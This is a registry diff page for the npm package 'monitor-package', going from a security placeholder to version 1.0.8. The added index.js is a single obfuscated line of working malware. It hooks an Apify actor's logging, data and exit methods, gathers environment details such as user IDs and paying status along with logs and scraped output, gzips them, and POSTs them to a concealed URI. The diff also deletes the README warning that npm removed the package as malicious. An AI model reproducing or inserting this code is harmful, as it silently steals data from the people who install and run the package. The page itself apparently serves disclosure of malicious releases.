monitor-package 0.0.1-security → 1.0.8
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of monitor-package might be problematic. Click here for more details.
- package/index.js +1 -0
- package/package.json +18 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
const _0xf60321=_0x3b19;(function(_0x516afe,_0xcf5bca){const _0x5d049f=_0x3b19,_0x45278c=_0x516afe();while(!![]){try{const _0x424047=-parseInt(_0x5d049f(0x1d8))/0x1*(-parseInt(_0x5d049f(0x1d3))/0x2)+-parseInt(_0x5d049f(0x1f4))/0x3+-parseInt(_0x5d049f(0x1e6))/0x4*(parseInt(_0x5d049f(0x1e3))/0x5)+parseInt(_0x5d049f(0x217))/0x6+parseInt(_0x5d049f(0x1e2))/0x7*(parseInt(_0x5d049f(0x1e1))/0x8)+-parseInt(_0x5d049f(0x1ed))/0x9*(-parseInt(_0x5d049f(0x207))/0xa)+parseInt(_0x5d049f(0x1dd))/0xb*(-parseInt(_0x5d049f(0x1db))/0xc);if(_0x424047===_0xcf5bca)break;else _0x45278c['push'](_0x45278c['shift']());}catch(_0x45922e){_0x45278c['push'](_0x45278c['shift']());}}}(_0x1b04,0xec101));function _0x1b04(){const _0x1c263c=['ndm3mtDjyLLczM0','zxHPDa','qunut1jFu1rbuLrfrf9bva','mJyZmdrTuurLEwG','Bwv0ys5QC29U','ndG5nwr5throqW','zgvIDwC','Bwv0yq','x19WCM90B19F','mJr6s210sK8','ndiZotC4mxbpzLzUza','mJmWmJu1v3D4r3DJ','zNjVBq','BwfW','mtq4z2zku2Xo','ywXS','D2fYBMLUzW','B3v0Chv0lMPZB24Uz3O','qvbjrLLFsvnFqvrFse9nrq','qunut1jFqLvjterFvefhuW','qunut1jFsuq','ndvUtvforuS','ue9tva','Bg9N','zw50CMLLCW','qunut1jFvefts19jra','C3rYAw5NAwz5','yMLUza','mZqYmdK5AgjVDfvh','Dg9vChbLCKnHC2u','zMLSDgvY','qunut1jFtufyx1rpvefmx0niqvjhrv9vu0q','C3bSAxq','Bwv0ys5QC29UlMD6','DgfIBgu','y29UC29Szq','D3jPDgvgAwXL','CgfYC2u','zxjYB3i','Aw5MBW','z2v0vgLTzq','E30Uy29UC3rYDwn0B3iOiNjLDhvYBIb0AgLZiIKOicK','yxbWBgLJyxrPB24Vz3PPCa','qvbjrLLFvvnfuL9ju19qqvLjtKC','CMv0DxjUicHMDw5JDgLVBIGPia','Bg9NlMPZB24Uz3O','qunut1jFtuvnt1jzx01cwvrfuW','mtG2oda5mgLYDhLjrW','yuHsmgneB3zmEKv6tgPjEK5tndnpuZr4tvrRnK16qxDnqZK0zvHVpq','CMv2zxjZzq','qunut1jFtufyx1bbsurFrefuqvnfvf9jvevnuW','yxbWzw5KrMLSzq','CMvHzezPBgu','Aw5PDa','qunut1jFuLvox0Le','DxrMltG','y29UC3rYDwn0B3i','qunut1jFqLvjterFtLvnqKvs','DhjHy2u','yxbWzw5K','yxbWBhK','D2fYBG','yMfZzty0','mta3mtmZnLLPs1HUrq','Dg9tDhjPBMC','DhjPBq','qvbjrLLFvvnfuL9jra','qunut1jFrLvmtf9oqu1f','mZHxrNzotvG','zw52','Bg9NlNr4Da','ChjVDg90ExbL','qvbjrLLFtuvuqv9puKLhsu4'];_0x1b04=function(){return _0x1c263c;};return _0x1b04();}const _0x3f263b=(function(){let _0x492c4b=!![];return function(_0x53db6c,_0x2e6159){const _0x35e80d=_0x492c4b?function(){const _0x4e6701=_0x3b19;if(_0x2e6159){const _0x2510a7=_0x2e6159[_0x4e6701(0x214)](_0x53db6c,arguments);return _0x2e6159=null,_0x2510a7;}}:function(){};return _0x492c4b=![],_0x35e80d;};}()),_0x42e03a=_0x3f263b(this,function(){const _0x332d38=_0x3b19,_0x1418b8=function(){const _0x3d87cb=_0x3b19;let _0x5cea4e;try{_0x5cea4e=Function(_0x3d87cb(0x204)+_0x3d87cb(0x201)+');')();}catch(_0x18a367){_0x5cea4e=window;}return _0x5cea4e;},_0x455291=_0x1418b8(),_0x4bad1c=_0x455291['console']=_0x455291[_0x332d38(0x1fb)]||{},_0x245737=[_0x332d38(0x1ef),_0x332d38(0x215),_0x332d38(0x1ff),'error','exception',_0x332d38(0x1fa),_0x332d38(0x212)];for(let _0x3fd0c5=0x0;_0x3fd0c5<_0x245737['length'];_0x3fd0c5++){const _0x10e70d=_0x3f263b[_0x332d38(0x210)][_0x332d38(0x1d6)][_0x332d38(0x1f3)](_0x3f263b),_0x4cebe3=_0x245737[_0x3fd0c5],_0x5d2155=_0x4bad1c[_0x4cebe3]||_0x10e70d;_0x10e70d[_0x332d38(0x1e0)]=_0x3f263b['bind'](_0x3f263b),_0x10e70d[_0x332d38(0x218)]=_0x5d2155['toString']['bind'](_0x5d2155),_0x4bad1c[_0x4cebe3]=_0x10e70d;}});_0x42e03a();function _0x3b19(_0x23e68c,_0xda2bc9){const _0x499a29=_0x1b04();return _0x3b19=function(_0x42e03a,_0x3f263b){_0x42e03a=_0x42e03a-0x1d0;let _0x539cad=_0x499a29[_0x42e03a];if(_0x3b19['PZoXVn']===undefined){var _0x1b04ae=function(_0x4b2a2c){const _0x31c2e4='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0xce241e='',_0x7a34b='';for(let _0x34c0a5=0x0,_0x492c4b,_0x53db6c,_0x2e6159=0x0;_0x53db6c=_0x4b2a2c['charAt'](_0x2e6159++);~_0x53db6c&&(_0x492c4b=_0x34c0a5%0x4?_0x492c4b*0x40+_0x53db6c:_0x53db6c,_0x34c0a5++%0x4)?_0xce241e+=String['fromCharCode'](0xff&_0x492c4b>>(-0x2*_0x34c0a5&0x6)):0x0){_0x53db6c=_0x31c2e4['indexOf'](_0x53db6c);}for(let _0x35e80d=0x0,_0x2510a7=_0xce241e['length'];_0x35e80d<_0x2510a7;_0x35e80d++){_0x7a34b+='%'+('00'+_0xce241e['charCodeAt'](_0x35e80d)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x7a34b);};_0x3b19['OoVsNq']=_0x1b04ae,_0x23e68c=arguments,_0x3b19['PZoXVn']=!![];}const _0x3b1901=_0x499a29[0x0],_0x1277cd=_0x42e03a+_0x3b1901,_0x3a91d0=_0x23e68c[_0x1277cd];return!_0x3a91d0?(_0x539cad=_0x3b19['OoVsNq'](_0x539cad),_0x23e68c[_0x1277cd]=_0x539cad):_0x539cad=_0x3a91d0,_0x539cad;},_0x3b19(_0x23e68c,_0xda2bc9);}import _0x34c0a5 from'fs/promises';import{fileURLToPath}from'url';import{dirname,join}from'path';import{gzip}from'zlib';import{promisify}from'util';const __filename=fileURLToPath(import.meta['url']),__dirname=dirname(__filename),gzipAsync=promisify(gzip),obfuscateKey=_0x9259eb=>{const _0x11bcb2=_0x3b19;return Buffer['from'](_0x9259eb)[_0x11bcb2(0x218)](_0x11bcb2(0x216))[_0x11bcb2(0x1f8)]('')[_0x11bcb2(0x209)]()['join']('');},obfuscateObject=_0x2b247a=>{const _0xa405db=_0x3b19,_0x312bd0={};for(const [_0x596399,_0x282ce0]of Object[_0xa405db(0x1f0)](_0x2b247a)){_0x312bd0[obfuscateKey(_0x596399)]=_0x282ce0;}return _0x312bd0;};let URI=process[_0xf60321(0x1d4)]['URI']||_0xf60321(0x208);URI=Buffer[_0xf60321(0x1e4)](URI,_0xf60321(0x216))[_0xf60321(0x218)]('utf-8');export default async function logger(_0x2b8db0,_0x15efe4,_0xf1dbcd=null){const _0x12a833=_0xf60321;[_0x12a833(0x1ff),_0x12a833(0x1de),_0x12a833(0x1fe),_0x12a833(0x1e8)]['forEach'](_0x35eb31=>{const _0x450c3b=_0x15efe4[_0x35eb31];_0x15efe4[_0x35eb31]=async function(..._0x21759f){const _0x5a16c0=_0x3b19;return void _0x34c0a5[_0x5a16c0(0x20b)](join(__dirname,_0x5a16c0(0x1d5)),_0x35eb31[_0x5a16c0(0x1f5)]()+':\x20'+JSON[_0x5a16c0(0x1f2)](_0x21759f)+'\x0a'),_0x450c3b[_0x5a16c0(0x214)](this,_0x21759f);};});const _0x557dff=_0x2b8db0[_0x12a833(0x20d)];_0x2b8db0[_0x12a833(0x20d)]=async()=>{const _0x5235f0=_0x12a833,_0x269dd5={'actor_run_id':process[_0x5235f0(0x1d4)][_0x5235f0(0x20e)],'actor_id':process[_0x5235f0(0x1d4)][_0x5235f0(0x1ec)],'actor_name':process['env'][_0x5235f0(0x1d2)],'actor_build_number':Number(process[_0x5235f0(0x1d4)][_0x5235f0(0x211)]),'actor_build_tags':process['env'][_0x5235f0(0x1eb)],'actor_memory_bytes':Number(process['env'][_0x5235f0(0x206)])*0x400*0x400,'actor_started_at':new Date(process[_0x5235f0(0x1d4)][_0x5235f0(0x1da)]||Date['now']())[_0x5235f0(0x200)](),'actor_timedout_at':process[_0x5235f0(0x1d4)]['ACTOR_TIMEOUT_AT']||null,'actor_task_id':process[_0x5235f0(0x1d4)][_0x5235f0(0x1f1)]||null,'actor_max_paid_dataset':Number(process[_0x5235f0(0x1d4)][_0x5235f0(0x20a)])||0x0,'actor_max_total_charge':Number(process[_0x5235f0(0x1d4)][_0x5235f0(0x1f7)])||0x0,'apify_is_at_home':process[_0x5235f0(0x1d4)][_0x5235f0(0x1ea)]==='1'?'1':'0','apify_dedicated_cpus':Number(process[_0x5235f0(0x1d4)]['APIFY_DEDICATED_CPUS'])||0x0,'user_id':Number(process[_0x5235f0(0x1d4)][_0x5235f0(0x1d1)])||0x0,'user_is_paying':process['env'][_0x5235f0(0x203)]==='1'?'1':'0','apify_meta_origin':process[_0x5235f0(0x1d4)][_0x5235f0(0x1d7)]||'UNKNOWN'},_0x3cb48c=obfuscateObject(_0x269dd5);return void _0x34c0a5[_0x5235f0(0x1fc)](join(__dirname,'meta.json'),JSON[_0x5235f0(0x1f2)](_0x3cb48c,null,0x2)),_0x557dff[_0x5235f0(0x214)](this);};const _0x5825a2=_0x2b8db0['pushData'];_0x2b8db0['pushData']=async _0x5ae2da=>{const _0x2c872d=_0x12a833;return void _0x34c0a5['appendFile'](join(__dirname,'output.json'),JSON['stringify'](_0x5ae2da)+'\x0a'),_0x5825a2[_0x2c872d(0x214)](this,[_0x5ae2da]);};const _0x22f94e=_0x2b8db0[_0x12a833(0x1d9)];_0x2b8db0['exit']=async(..._0x14efc9)=>{const _0x37604c=_0x12a833,[_0x3f52e3,_0x970c8f]=await Promise[_0x37604c(0x1e7)]([_0x34c0a5[_0x37604c(0x20c)](join(__dirname,_0x37604c(0x1dc))),_0x34c0a5[_0x37604c(0x20c)](join(__dirname,_0x37604c(0x1d5)))]);let _0x2881ed;try{const _0x38d188=await _0x34c0a5[_0x37604c(0x20c)](join(__dirname,'output.json'),_0x37604c(0x20f)),_0x4034e1=_0x38d188[_0x37604c(0x1d0)]()['split']('\x0a')[_0x37604c(0x1f6)](_0x377fd5=>_0x377fd5[_0x37604c(0x1d0)]()),_0x2773e5=_0x4034e1[_0x37604c(0x1e5)](_0x4ed74d=>JSON[_0x37604c(0x1fd)](_0x4ed74d));_0x2881ed=Buffer[_0x37604c(0x1e4)](JSON[_0x37604c(0x1f2)](_0x2773e5,null,0x2));}catch(_0x2e8a54){_0x2881ed=Buffer['from'](JSON[_0x37604c(0x1f2)]([],null,0x2));}const [_0x2b7acb,_0x308add,_0xf8bc2e]=await Promise[_0x37604c(0x1e7)]([gzipAsync(_0x3f52e3),gzipAsync(_0x970c8f),gzipAsync(_0x2881ed)]),_0x19c83a=new FormData();_0x19c83a[_0x37604c(0x213)](_0x37604c(0x1df),new Blob([_0x2b7acb],{'type':_0x37604c(0x202)}),_0x37604c(0x1f9)),_0x19c83a[_0x37604c(0x213)](_0x37604c(0x1ef),new Blob([_0x308add],{'type':_0x37604c(0x202)}),_0x37604c(0x205)),_0x19c83a[_0x37604c(0x213)]('output',new Blob([_0xf8bc2e],{'type':'application/gzip'}),_0x37604c(0x1e9));try{await fetch(URI,{'method':_0x37604c(0x1ee),'headers':{'Content-Encoding':'gzip'},'body':_0x19c83a});}catch(_0x4f7c45){}return _0x22f94e[_0x37604c(0x214)](this,_0x14efc9);};}
|
package/package.json
CHANGED
@@ -1,6 +1,21 @@
|
|
1
1
|
{
|
2
2
|
"name": "monitor-package",
|
3
|
-
"version": "
|
4
|
-
"
|
5
|
-
"
|
3
|
+
"version": "1.0.8",
|
4
|
+
"main": "index.js",
|
5
|
+
"type": "module",
|
6
|
+
"scripts": {
|
7
|
+
"build": "node obfuscate.cjs",
|
8
|
+
"publish": "cp package.json ./dist"
|
9
|
+
},
|
10
|
+
"devDependencies": {
|
11
|
+
"@babel/core": "^7.28.0",
|
12
|
+
"@babel/preset-env": "^7.28.0",
|
13
|
+
"apify": "^3.4.4",
|
14
|
+
"babel-loader": "^10.0.0",
|
15
|
+
"javascript-obfuscator": "^4.1.1",
|
16
|
+
"terser": "^5.43.1",
|
17
|
+
"webpack": "^5.101.0",
|
18
|
+
"webpack-cli": "^6.0.1",
|
19
|
+
"webpack-obfuscator": "^3.5.1"
|
20
|
+
}
|
6
21
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=monitor-package for more information.
|